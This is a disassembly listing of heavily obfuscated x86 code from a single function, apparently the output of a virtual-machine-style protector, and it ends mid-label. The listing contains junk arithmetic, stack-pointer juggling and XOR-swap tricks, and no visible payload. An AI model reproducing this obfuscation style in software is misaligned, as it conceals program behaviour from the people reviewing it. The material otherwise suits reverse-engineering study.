loc_58F5E5:				; CODE XREF: sub_57DD3A+16AE6j
		add	edi, eax
		pop	eax
		push	ebp
		mov	ebp, offset byte_5F4505
		xor	ebp, 2BF81894h
		xor	ebp, 8DC5035h
		add	edi, ebp
		mov	ebp, [esp+70h+var_70]
		add	esp, 4
		jmp	loc_59597E
; ---------------------------------------------------------------------------


loc_58F607:				; CODE XREF: sub_57DD3A+16149j
		dec	ebp
		sub	esp, 4
		mov	[esp+70h+var_70], ecx
		mov	ecx, 4053BCCh
		xor	ebp, ecx
		jmp	loc_598CE4
; ---------------------------------------------------------------------------


loc_58F61A:				; CODE XREF: sub_57DD3A+125B5j
		mov	esi, 382E2F75h
		xor	esi, 387A69C8h
		shl	esi, 5
		dec	esi
		not	esi
		sub	esi, 8080D233h
		add	ecx, esi
		mov	esi, [esp+70h+var_70]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+74h+var_74]
		pop	esp
		pop	ebx
		push	edi
		push	ecx
		push	1DCB5AE4h
		mov	ecx, [esp+78h+var_78]
		add	esp, 4
		sub	ecx, 6AA80CE5h
		shr	ecx, 1
		xor	ecx, 5991A6FBh
		jmp	loc_591DF3
; ---------------------------------------------------------------------------


loc_58F667:				; CODE XREF: sub_57DD3A+12CDCj
		mov	[esp+74h+var_74], edx
		mov	edx, 2BDD6874h
		add	edx, 7149354Dh
		push	5013h
		mov	[esp+78h+var_78], esi
		mov	esi, 5C176158h
		jmp	loc_59275D
; ---------------------------------------------------------------------------


loc_58F687:				; CODE XREF: sub_57DD3A+1E699j
		push	6AFEh
		mov	[esp+7Ch+var_7C], ecx
		push	[esp+7Ch+var_78]
		mov	ecx, [esp+80h+var_80]
		jmp	loc_5A1003
; ---------------------------------------------------------------------------


loc_58F69B:				; CODE XREF: sub_57DD3A+20088j
		dec	ecx
		xor	ecx, 79BA1A00h
		sub	ecx, 798A1A81h
		jmp	loc_58F818
; ---------------------------------------------------------------------------


loc_58F6AD:				; CODE XREF: sub_57DD3A+17E4Cj
		sub	bl, 74h
		sub	bl, 22h
		shl	bl, 6
		add	bl, 8Fh
		push	cx
		mov	ch, 0F2h
		add	al, ch
		pop	cx
		jmp	loc_594480
; ---------------------------------------------------------------------------


loc_58F6C6:				; CODE XREF: sub_57DD3A+2541Bj
		add	esi, 0CA85908Ah
		mov	eax, esi
		pop	esi
		push	eax
		jmp	loc_598BE3
; ---------------------------------------------------------------------------


loc_58F6D5:				; CODE XREF: sub_57DD3A+21012j
		and	eax, ebx
		push	[esp+80h+var_80]
		mov	ebx, [esp+84h+var_84]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+84h+var_84]
		pop	esp
		or	edx, eax
		jmp	loc_59C0B8
; ---------------------------------------------------------------------------


loc_58F6F6:				; CODE XREF: sub_57DD3A+14AAFj
		push	[esp+80h+var_80]
		jmp	loc_59E3C4
; ---------------------------------------------------------------------------


loc_58F6FE:				; CODE XREF: sub_57DD3A+15187j
		mov	esi, 26581BBDh
		dec	esi
		jmp	loc_599237
; ---------------------------------------------------------------------------


loc_58F709:				; CODE XREF: sub_57DD3A+15F53j
		mov	bx, word ptr [esp+84h+var_84]
		push	3354h
		jmp	loc_5940EE
; ---------------------------------------------------------------------------


loc_58F717:				; CODE XREF: sub_57DD3A+1130Ej
		mov	ebp, ebx
		pop	ebx
		sub	edi, 3AAD761Fh
		add	edi, ebp
		add	edi, 3AAD761Fh
		jmp	loc_5A1CEB
; ---------------------------------------------------------------------------


loc_58F72D:				; CODE XREF: sub_57DD3A+14A3Aj
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp+34h+var_36+2]
		pop	esp
		push	188Ch
		mov	[esp+34h+var_36+2], edi
		push	1885h
		push	esp
		jmp	loc_5998D6
; ---------------------------------------------------------------------------


loc_58F755:				; CODE XREF: sub_57DD3A+1904Fj
		sub	esp, 2
		mov	word ptr [esp+40h+var_42+2], cx
		push	155Fh
		mov	[esp+44h+var_46+2], edx
		mov	dl, 89h
		jmp	loc_5A08DB
; ---------------------------------------------------------------------------


loc_58F76E:				; CODE XREF: sub_57DD3A+17137j
		or	eax, 505623DAh
		sub	eax, 2A8B03DDh
		xor	edx, eax
		jmp	loc_59AABD
; ---------------------------------------------------------------------------


loc_58F77F:				; CODE XREF: sub_57DD3A+1DE2Cj
		xchg	edx, [esp+44h+var_46+2]
		pop	esp
		add	bh, 1
		shr	bh, 1
		push	small 1F3h
		mov	word ptr [esp+42h+var_42], dx
		jmp	loc_5A1813
; ---------------------------------------------------------------------------


loc_58F795:				; CODE XREF: sub_57DD3A+1DB5Bj
		pop	ecx
		push	2155h
		mov	[esp+42h+var_42], ebp
		sub	esp, 4
		mov	[esp+46h+var_46], edi
		jmp	loc_593CC1
; ---------------------------------------------------------------------------


loc_58F7A9:				; CODE XREF: sub_57DD3A+123FFj
		xor	edx, [esp+46h+var_46]
		xor	[esp+46h+var_46], edx
		xor	edx, [esp+46h+var_46]
		jmp	loc_59C918
; ---------------------------------------------------------------------------


loc_58F7B7:				; CODE XREF: sub_57DD3A+1971Cj
		push	ebx
		mov	ebx, 5D5A19A1h
		mov	ebp, ebx
		mov	ebx, [esp+4Ah+var_4C+2]
		add	esp, 4
		add	ebp, 0CF99046Eh
		mov	eax, ebp
		pop	ebp
		dec	eax
		push	ebx
		mov	ebx, 319D4BD3h
		add	ebx, 0F430D7EBh
		add	eax, ebx
		pop	ebx
		add	eax, 54B177A8h
		or	eax, 6A827DA7h
		push	ebx
		jmp	loc_5989F5
; ---------------------------------------------------------------------------


loc_58F7F1:				; CODE XREF: sub_57DD3A+14E6Ej
		push	ebp
		mov	ebp, 7513B4Eh
		neg	ebp
		shr	ebp, 2
		jmp	loc_5921EA
; ---------------------------------------------------------------------------


loc_58F801:				; CODE XREF: sub_57DD3A+20816j
		sub	edi, esi
		pop	esi
		pop	eax
		xchg	edi, [esp+42h+var_42]
		mov	esp, [esp+42h+var_42]
		mov	word ptr [esp+42h+var_42], cx
		movzx	cx, al
		jmp	loc_591858
; ---------------------------------------------------------------------------


loc_58F818:				; CODE XREF: sub_57DD3A+1196Ej
		add	ecx, eax
		push	edi
		mov	edi, 26E277F2h
		jmp	loc_597212
; ---------------------------------------------------------------------------


loc_58F825:				; CODE XREF: sub_57DD3A+22A27j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A27C2
; ---------------------------------------------------------------------------


loc_58F838:				; CODE XREF: sub_57DD3A+19313j
		add	ebp, 4CB9701Dh
		pop	edx
		and	eax, ebp
		jmp	loc_58FE3D
; ---------------------------------------------------------------------------


loc_58F846:				; CODE XREF: sub_57DD3A+23F09j
		mov	ebx, 4
		add	edi, 6A2F62E5h
		sub	edi, ebx
		sub	edi, 6A2F62E5h
		push	[esp+80h+var_80]
		jmp	loc_59F2D0
; ---------------------------------------------------------------------------


loc_58F861:				; CODE XREF: sub_57DD3A+163FEj
		add	edi, 4
		jmp	loc_59B710
; ---------------------------------------------------------------------------


loc_58F86C:				; CODE XREF: sub_57DD3A+2198Dj
		pop	ebx
		mov	ecx, [esp+80h+var_80]
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+7Ch+var_7C]
		xor	[esp+7Ch+var_7C], eax
		xor	eax, [esp+7Ch+var_7C]
		mov	esp, [esp+7Ch+var_7C]
		mov	ax, word ptr [esp+7Ch+var_7C]
		push	edi
		sub	esp, 4
		mov	[esp+84h+var_84], esp
		add	[esp+84h+var_84], 4
		mov	edi, [esp+84h+var_84]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_597607
; ---------------------------------------------------------------------------


loc_58F8A6:				; CODE XREF: sub_57DD3A+16774j
		mov	edi, eax
		mov	ecx, edi
		pop	edi
		pop	eax
		pop	edi
		sub	[edi+24h], ecx
		pop	ecx
		xor	edx, edx
		jmp	loc_597FAF
; ---------------------------------------------------------------------------


loc_58F8B8:				; CODE XREF: sub_57DD3A+249E4j
		pop	ecx
		mov	ebx, [esp+70h+var_70]
		push	ebp
		push	esp
		pop	ebp
		push	5F26h
		mov	[esp+78h+var_78], edx
		push	4
		pop	edx
		add	ebp, edx
		jmp	loc_5986F2
; ---------------------------------------------------------------------------


loc_58F8D4:				; CODE XREF: sub_57DD3A+12A45j
		inc	ebp
		jmp	loc_597749
; ---------------------------------------------------------------------------


loc_58F8DA:				; CODE XREF: sub_57DD3A+15C9Cj
		add	esp, 4
		jmp	loc_59F439
; ---------------------------------------------------------------------------


loc_58F8E2:				; CODE XREF: sub_57DD3A+1D9B6j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 48F43730h
		push	edi
		mov	edi, 280A4312h
		not	edi
		jmp	loc_59E4B2
; ---------------------------------------------------------------------------


loc_58F8FD:				; CODE XREF: sub_57DD3A+203B4j
		mov	esp, [esp+78h+var_78]
		mov	[esp+78h+var_78], ebp
		jmp	loc_59237A
; ---------------------------------------------------------------------------


loc_58F908:				; CODE XREF: sub_57DD3A+1D739j
		pop	esp
		sub	esp, 4
		mov	[esp+78h+var_78], ebx
		push	esi
		jmp	loc_5A03E3
; ---------------------------------------------------------------------------


loc_58F915:				; CODE XREF: sub_57DD3A+2471Ej
		sub	edi, ecx
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		add	edx, edi
		jmp	loc_598F5E
; ---------------------------------------------------------------------------


loc_58F927:				; CODE XREF: sub_57DD3A+11401j
		not	eax
		dec	eax
		neg	eax
		xor	eax, 3ED9052Eh
		sub	edi, eax
		jmp	loc_59B0A2
; ---------------------------------------------------------------------------


loc_58F938:				; CODE XREF: sub_57DD3A+1EBD9j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+42h+var_42]
		pop	esp
		jmp	loc_59FAB7
; ---------------------------------------------------------------------------


loc_58F94F:				; CODE XREF: sub_57DD3A+1498Fj
		pop	edx
		push	edi
		jmp	loc_5A1785
; ---------------------------------------------------------------------------


loc_58F956:				; CODE XREF: sub_57DD3A+1D5EAj
		add	edx, 51D7E27Dh
		sub	esi, edx
		mov	edx, [esp+3Eh+var_3E]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+42h+var_42]
		jmp	loc_59593D
; ---------------------------------------------------------------------------


loc_58F975:				; CODE XREF: sub_57DD3A+17A6Dj
		xchg	esi, [esp+42h+var_42]
		pop	esp
		mov	[esp+3Eh+var_3E], esi
		mov	esi, esp
		push	edx
		mov	edx, esp
		jmp	loc_5999E4
; ---------------------------------------------------------------------------


loc_58F986:				; CODE XREF: sub_57DD3A+1572Ej
		push	[esp+42h+var_42]
		jmp	loc_5967FE
; ---------------------------------------------------------------------------


loc_58F98E:				; CODE XREF: sub_57DD3A+22D03j
		mov	ebx, 12783E93h
		sub	esi, ebx
		pop	ebx
		not	esi
		shl	esi, 6
		shl	esi, 4
		xor	esi, 40AF5404h
		push	ebx
		push	ecx
		mov	ecx, 5CA539DEh
		mov	ebx, 7EC05108h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_59AEF7
; ---------------------------------------------------------------------------


loc_58F9B8:				; CODE XREF: sub_57DD3A+10B10j
		mov	ecx, 63A3180Ch
		and	ecx, 515A243Ah
		and	ecx, 58214462h
		jmp	loc_59095C
; ---------------------------------------------------------------------------


loc_58F9CE:				; CODE XREF: sub_57DD3A+2469Cj
		mov	edx, [esp+10h+var_12+2]
		jmp	loc_59A58A
; ---------------------------------------------------------------------------


loc_58F9D6:				; CODE XREF: sub_57DD3A+12B43j
		add	eax, ebx
		jmp	loc_595C83
; ---------------------------------------------------------------------------


loc_58F9DD:				; CODE XREF: sub_57DD3A+24ED9j
		pop	ecx
		add	edx, 37952DD3h
		jmp	loc_593151
; ---------------------------------------------------------------------------


loc_58F9E9:				; CODE XREF: sub_57DD3A+1EE69j
		pop	ebp
		add	ebx, 2
		jmp	loc_596EA1
; ---------------------------------------------------------------------------


loc_58F9F5:				; CODE XREF: sub_57DD3A+14777j
		pop	edx
		jmp	loc_59D299
; ---------------------------------------------------------------------------


loc_58F9FB:				; CODE XREF: sub_57DD3A+12293j
		xor	ecx, 2C115F75h
		jmp	loc_596215
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+0], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58FA14:				; CODE XREF: sub_57DD3A+1883Bj
		mov	al, 89h
		and	al, 0F6h
		jmp	loc_59B615
; ---------------------------------------------------------------------------


loc_58FA1D:				; CODE XREF: sub_57DD3A+14A9Dj
		mov	edi, 5993E1Dh
		mov	ebx, 4C2F191Dh
		shl	ebx, 1
		jmp	loc_597439
; ---------------------------------------------------------------------------


loc_58FA2E:				; CODE XREF: sub_57DD3A+1D8A6j
		push	esi
		mov	esi, 5E71231Fh
		shr	esi, 3
		push	ebp
		mov	ebp, 14992821h
		xor	esi, ebp
		pop	ebp
		shl	esi, 1
		jmp	loc_58E837
; ---------------------------------------------------------------------------


loc_58FA47:				; CODE XREF: sub_57DD3A+1CB5Ej
		push	ecx
		jmp	loc_59A4B0
; ---------------------------------------------------------------------------


loc_58FA4D:				; CODE XREF: sub_57DD3A+1773Ej
		mov	[esp+0Ch+var_E+2], ebx
		push	edi
		push	6E161E22h
		mov	edi, [esp+14h+var_16+2]
		add	esp, 4
		xor	edi, 29812A92h
		jmp	loc_596A6B
; ---------------------------------------------------------------------------


loc_58FA6A:				; CODE XREF: sub_57DD3A+14159j
		push	eax
		push	esi
		mov	esi, 145C11BAh
		jmp	loc_59108B
; ---------------------------------------------------------------------------


loc_58FA76:				; CODE XREF: sub_57DD3A+152E7j
		mov	[esp+18h+var_1A+2], esp
		push	eax
		mov	eax, 4
		jmp	loc_58E5ED
; ---------------------------------------------------------------------------


loc_58FA84:				; CODE XREF: sub_57DD3A+1DDF8j
		pop	esi
		add	esi, 4
		push	edx
		jmp	loc_58EF86
; ---------------------------------------------------------------------------


loc_58FA91:				; CODE XREF: sub_57DD3A+24998j
		sub	ebp, 4
		sub	esp, 4
		jmp	loc_5A1331
; ---------------------------------------------------------------------------


loc_58FA9F:				; CODE XREF: sub_57DD3A+24132j
		add	ebx, 56B06FE9h
		mov	esi, [esp+20h+var_22+2]
		push	edx
		push	esp
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		push	eax
		mov	eax, 4DD83FF9h
		jmp	loc_59AC83
; ---------------------------------------------------------------------------


loc_58FABB:				; CODE XREF: sub_57DD3A+1E249j
		sub	dh, 0DFh
		mov	eax, [esp+28h+var_2A+2]
		add	esp, 4
		xor	dh, 91h
		add	ah, dh
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		xor	ah, 90h
		jmp	loc_59F027
; ---------------------------------------------------------------------------


loc_58FAD7:				; CODE XREF: sub_57DD3A+1CC05j
		shl	al, 3
		sub	al, 0A9h
		xor	al, 21h
		add	bh, al
		pop	eax
		add	bh, 0E5h
		add	bh, 0E7h
		xor	dh, bh
		pop	ebx
		sub	al, 0EFh
		sub	al, 0CDh
		add	al, dh
		add	al, 0CDh
		add	al, 0EFh
		jmp	loc_5943D5
; ---------------------------------------------------------------------------


loc_58FAF9:				; CODE XREF: sub_57DD3A+1EE2Fj
		mov	[esp+18h+var_1A+2], edx
		mov	edx, esp
		push	ebx
		push	0F1Eh
		jmp	loc_5A0BAF
; ---------------------------------------------------------------------------


loc_58FB09:				; CODE XREF: sub_57DD3A+16054j
		add	esi, ebp
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		xor	esi, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], esi
		xor	esi, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58FB22:				; CODE XREF: sub_57DD3A+22DD9j
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_5990D4
; ---------------------------------------------------------------------------


loc_58FB2B:				; CODE XREF: sub_57DD3A+179F5j
		pop	esi
		push	ecx
		mov	ecx, 1C556597h
		not	ecx
		sub	ecx, 5FD70F08h
		dec	ecx
		xor	ecx, 0D468C94Ch
		jmp	loc_59121D
; ---------------------------------------------------------------------------


loc_58FB46:				; CODE XREF: sub_57DD3A+1F3D1j
		xor	dl, 56h
		add	bl, dl
		pop	edx
		jmp	loc_59768D
; ---------------------------------------------------------------------------


loc_58FB51:				; CODE XREF: sub_57DD3A+1124Dj
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	esi, edx
		mov	edx, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_5A06C6
; ---------------------------------------------------------------------------


loc_58FB69:				; CODE XREF: sub_57DD3A+204A4j
		sub	esp, 4
		mov	[esp+36h+var_36], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_59980C
; ---------------------------------------------------------------------------


loc_58FB7F:				; CODE XREF: sub_57DD3A+14B18j
		pop	ecx
		pop	esi
		mov	eax, [esp+32h+var_32]
		push	ebp
		push	esp
		jmp	loc_590882
; ---------------------------------------------------------------------------


loc_58FB8B:				; CODE XREF: sub_57DD3A+1EFA6j
		push	ebp
		jmp	loc_59D867
; ---------------------------------------------------------------------------


loc_58FB91:				; CODE XREF: sub_57DD3A+17D17j
		push	ebp
		jmp	loc_592FBF
; ---------------------------------------------------------------------------


loc_58FB97:				; DATA XREF: sub_57DD3A+105CAo
		mov	cx, word ptr [esp+42h+var_42]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5927F5
; ---------------------------------------------------------------------------


loc_58FBA3:				; CODE XREF: sub_57DD3A+1B844j
		push	[esp+46h+var_46]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4Ah+var_4C+2]
		mov	esp, [esp+4Ah+var_4C+2]
		push	0A6Fh
		mov	[esp+4Eh+var_50+2], ecx
		push	edx
		mov	edx, 6B6A00CFh
		mov	ecx, edx
		jmp	loc_594B19
; ---------------------------------------------------------------------------


loc_58FBCF:				; CODE XREF: sub_57DD3A+225B2j
		and	ah, 0BDh
		add	ah, 4
		xor	ch, ah
		pop	eax
		push	eax
		mov	ah, ch
		mov	dl, ah
		pop	eax
		pop	ecx
		add	bl, dl
		pop	dx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_58FBEE:				; CODE XREF: sub_57DD3A+10631j
		push	4270h
		jmp	loc_595969
; ---------------------------------------------------------------------------


loc_58FBF8:				; CODE XREF: sub_57DD3A+10D59j
		push	esi
		push	[esp+1Ch+var_1A+2]
		pop	esi
		pop	[esp+1Ch+var_1E+2]
		jmp	loc_59E555
; ---------------------------------------------------------------------------


loc_58FC06:				; CODE XREF: sub_57DD3A+1C67Bj
		mov	esi, 1
		push	esi
		add	[esp+1Ch+var_1E+2], 7756554Fh
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_5A14BF
; ---------------------------------------------------------------------------


loc_58FC21:				; CODE XREF: sub_57DD3A+12636j
		push	ebx
		mov	bh, 35h
		add	byte ptr [esp+1Ch+var_1A+2], bh
		jmp	loc_5A02CE
; ---------------------------------------------------------------------------


loc_58FC2D:				; CODE XREF: sub_57DD3A+1B521j
		pop	esi
		jmp	loc_5A2275
; ---------------------------------------------------------------------------


loc_58FC33:				; CODE XREF: sub_57DD3A+155EBj
		push	ecx
		mov	ecx, 1A3C5321h
		jmp	loc_59102B
; ---------------------------------------------------------------------------


loc_58FC3E:				; CODE XREF: sub_57DD3A+23573j
		sub	ebx, 0C522D1FDh
		mov	ebp, ebx
		push	[esp+1Ch+var_1E+2]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], ecx
		xor	ecx, [esp+20h+var_22+2]
		pop	esp
		jmp	loc_5A0AC0
; ---------------------------------------------------------------------------


loc_58FC68:				; CODE XREF: sub_57DD3A+17E52j
		add	[esp+1Ch+var_1A+2], edx
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		sub	ebx, 6802C5Ah
		mov	edi, [esp+14h+var_16+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_16+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A04CF
; ---------------------------------------------------------------------------


loc_58FC9A:				; CODE XREF: sub_57DD3A+134BCj
		mov	eax, [esp+14h+var_16+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_5986D6
; ---------------------------------------------------------------------------


loc_58FCAB:				; CODE XREF: sub_57DD3A+20C39j
		pop	ecx
		jmp	loc_596BEF
; ---------------------------------------------------------------------------


loc_58FCB1:				; CODE XREF: sub_57DD3A+1C01Aj
		not	bl
		jmp	loc_594FB4
; ---------------------------------------------------------------------------


loc_58FCB8:				; CODE XREF: sub_57DD3A+10863j
		pop	[esp+18h+var_1A+2]
		jmp	loc_5A15A6
; ---------------------------------------------------------------------------


loc_58FCC0:				; CODE XREF: sub_57DD3A+1C771j
		mov	esi, 47FD061Eh
		jmp	loc_59FCBB
; ---------------------------------------------------------------------------


loc_58FCCA:				; CODE XREF: sub_57DD3A+1C366j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_595CC7
; ---------------------------------------------------------------------------


loc_58FCE1:				; CODE XREF: sub_57DD3A+1F9C4j
		mov	esi, 4
		add	[esp+10h+var_E+2], esi
		jmp	loc_59DFDD
; ---------------------------------------------------------------------------


loc_58FCEF:				; CODE XREF: sub_57DD3A+16993j
		mov	ebx, 15751796h
		shl	ebx, 2
		add	ebx, 4781445Dh
		sub	ebx, 0D69BC247h
		jmp	loc_5959E9
; ---------------------------------------------------------------------------


loc_58FD08:				; CODE XREF: sub_57DD3A+18505j
		sub	ebp, 553F5161h
		add	ebp, esi
		push	edx
		mov	edx, 0BB03B0h
		sub	edx, 469C4E08h
		jmp	loc_5A23A5
; ---------------------------------------------------------------------------


loc_58FD21:				; CODE XREF: sub_57DD3A+17BE7j
		pop	edx
		jmp	loc_59A49A
; ---------------------------------------------------------------------------


loc_58FD27:				; CODE XREF: sub_57DD3A+18EF9j
		xor	edi, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], edi
		xor	edi, [esp+10h+var_12+2]
		pop	esp
		jmp	loc_591BEA
; ---------------------------------------------------------------------------


loc_58FD36:				; CODE XREF: sub_57DD3A+1157Ej
		add	ebp, ecx
		pop	ecx
		jmp	loc_59B911
; ---------------------------------------------------------------------------


loc_58FD3E:				; CODE XREF: sub_57DD3A+20930j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Eh+var_2E]
		jmp	loc_591414
; ---------------------------------------------------------------------------


loc_58FD4F:				; CODE XREF: sub_57DD3A+1990Bj
		sub	al, 0EBh
		push	[esp+2Eh+var_2E]
		jmp	loc_594667
; ---------------------------------------------------------------------------


loc_58FD59:				; CODE XREF: sub_57DD3A+1E586j
		push	239Ch
		mov	[esp+36h+var_36], esp
		push	eax
		jmp	loc_592F8C
; ---------------------------------------------------------------------------


loc_58FD67:				; CODE XREF: sub_57DD3A+1EAF3j
		add	esp, 4
		dec	edi
		sub	edi, 33E29CB5h
		mov	ebp, edi
		push	[esp+36h+var_36]
		push	[esp+3Ah+var_3A]
		pop	edi
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 5DE31A77h
		neg	ebx
		xor	ebx, 0BE0C8C7Eh
		jmp	loc_598B10
; ---------------------------------------------------------------------------


loc_58FD93:				; CODE XREF: sub_57DD3A+21211j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_59CFB7
; ---------------------------------------------------------------------------


loc_58FDA8:				; CODE XREF: sub_57DD3A+20E84j
		xor	ecx, 37E1A71h
		add	ecx, 2FE1014h
		jmp	loc_59B212
; ---------------------------------------------------------------------------


loc_58FDB9:				; CODE XREF: sub_57DD3A+1CCB4j
		push	edi
		mov	edi, 4
		jmp	loc_5A27FC
; ---------------------------------------------------------------------------


loc_58FDC4:				; CODE XREF: sub_57DD3A+1BF5Aj
		add	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		shr	ecx, 6
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+3Ah+var_3A]
		pop	esp
		mov	[esp+36h+var_36], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_59E59B
; ---------------------------------------------------------------------------


loc_58FDFA:				; CODE XREF: sub_57DD3A+16A6Fj
		add	ebp, ecx
		pop	ecx
		jmp	loc_59D96A
; ---------------------------------------------------------------------------


loc_58FE02:				; CODE XREF: sub_57DD3A+14C02j
		push	edx
		mov	edx, 5FD000C9h
		add	edx, 5A5B508Bh
		sub	edx, 0BA2B5150h
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+36h+var_36], ecx
		push	[esp+36h+var_32]
		pop	ecx
		pop	[esp+36h+var_36]
		pop	esp
		jmp	loc_59289D
; ---------------------------------------------------------------------------


loc_58FE2B:				; CODE XREF: sub_57DD3A+13176j
		add	edi, edx
		pop	edx
		xchg	edi, [esp+2Ah+var_2A]
		pop	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5A2940
; ---------------------------------------------------------------------------


loc_58FE3D:				; CODE XREF: sub_57DD3A+11B07j
		mov	ebp, [esp+80h+var_80]
		jmp	loc_58E9C9
; ---------------------------------------------------------------------------


loc_58FE45:				; CODE XREF: sub_57DD3A+216FAj
		xor	dh, 0DEh
		jmp	loc_59FF08
; ---------------------------------------------------------------------------


loc_58FE4D:				; CODE XREF: sub_57DD3A+22790j
		add	edx, 4
		jmp	loc_59ADF6
; ---------------------------------------------------------------------------


loc_58FE55:				; CODE XREF: sub_57DD3A+10D0Bj
		mov	edi, 713C7991h
		xor	edi, 36C7233Ch
		push	esi
		mov	esi, 56A62F36h
		and	edi, esi
		jmp	loc_59A2A1
; ---------------------------------------------------------------------------


loc_58FE6D:				; CODE XREF: sub_57DD3A+20714j
		add	esp, 4
		add	[esp+10h+var_E+2], 3EFD2530h
		sub	[esp+10h+var_E+2], 0F947751h
		jmp	loc_595BF4
; ---------------------------------------------------------------------------


loc_58FE85:				; CODE XREF: sub_57DD3A+1172Cj
		mov	ecx, esp
		push	esi
		mov	esi, 467E4874h
		sub	esi, 467E4870h
		add	ecx, esi
		mov	esi, [esp+50h+var_50]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+4Ch+var_4C]
		pop	esp


loc_58FEA2:				; CODE XREF: sub_57DD3A+1A1D6j
		push	5F34h
		mov	[esp+4Ch+var_4C], ebx
		push	[esp+4Ch+var_4C]
		jmp	loc_593691
; ---------------------------------------------------------------------------


loc_58FEB2:				; CODE XREF: sub_57DD3A+2089Fj
		mov	edi, [esp+50h+var_50]
		add	esp, 4
		jmp	loc_5950EE
; ---------------------------------------------------------------------------
		neg	byte ptr [esp+4Ch+var_4C]
		pushf
		jmp	loc_59733F
; ---------------------------------------------------------------------------


loc_58FEC9:				; CODE XREF: sub_57DD3A+1B2FEj
		pop	edi
		mov	ebp, edi
		pop	edi
		xor	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		jmp	loc_596B50
; ---------------------------------------------------------------------------


loc_58FED7:				; CODE XREF: sub_57DD3A+16B81j
		mov	ecx, [esp+44h+var_46+2]
		jmp	loc_59D4DC
; ---------------------------------------------------------------------------


loc_58FEDF:				; CODE XREF: sub_57DD3A+1D061j
		pop	esp
		jmp	loc_5932EC
; ---------------------------------------------------------------------------


loc_58FEE5:				; CODE XREF: sub_57DD3A+183AEj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_596C18
; ---------------------------------------------------------------------------


loc_58FEF0:				; CODE XREF: sub_57DD3A+13CAEj
		push	esi
		push	edx
		push	42983296h
		pop	edx
		push	ebp
		mov	ebp, 4141299Bh
		jmp	loc_59D204
; ---------------------------------------------------------------------------


loc_58FF03:				; CODE XREF: sub_57DD3A+134ECj
		push	2551h
		mov	[esp+50h+var_50], ecx
		mov	ecx, 6D8D42C9h
		shr	ecx, 3
		push	esi
		mov	esi, 65228F68h
		add	ecx, esi
		pop	esi
		add	edi, 45C82FE7h
		jmp	loc_5994F0
; ---------------------------------------------------------------------------


loc_58FF27:				; CODE XREF: sub_57DD3A+20913j
		pop	esi
		sub	edi, 43625318h
		jmp	loc_59F01F
; ---------------------------------------------------------------------------


loc_58FF33:				; CODE XREF: sub_57DD3A+1CB9Fj
		pop	ecx
		add	edi, 2
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		mul	cx
		push	eax
		jmp	loc_58EE22
; ---------------------------------------------------------------------------


loc_58FF4F:				; CODE XREF: sub_57DD3A+1503Fj
		sub	esi, 6AD75188h
		mov	edx, [esp+4Ch+var_4C]
		sub	esp, 4
		mov	[esp+50h+var_50], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, 7735539Dh
		add	ecx, edi
		sub	ecx, 7735539Dh
		pop	edi
		jmp	loc_5966A7
; ---------------------------------------------------------------------------


loc_58FF80:				; CODE XREF: sub_57DD3A+252CFj
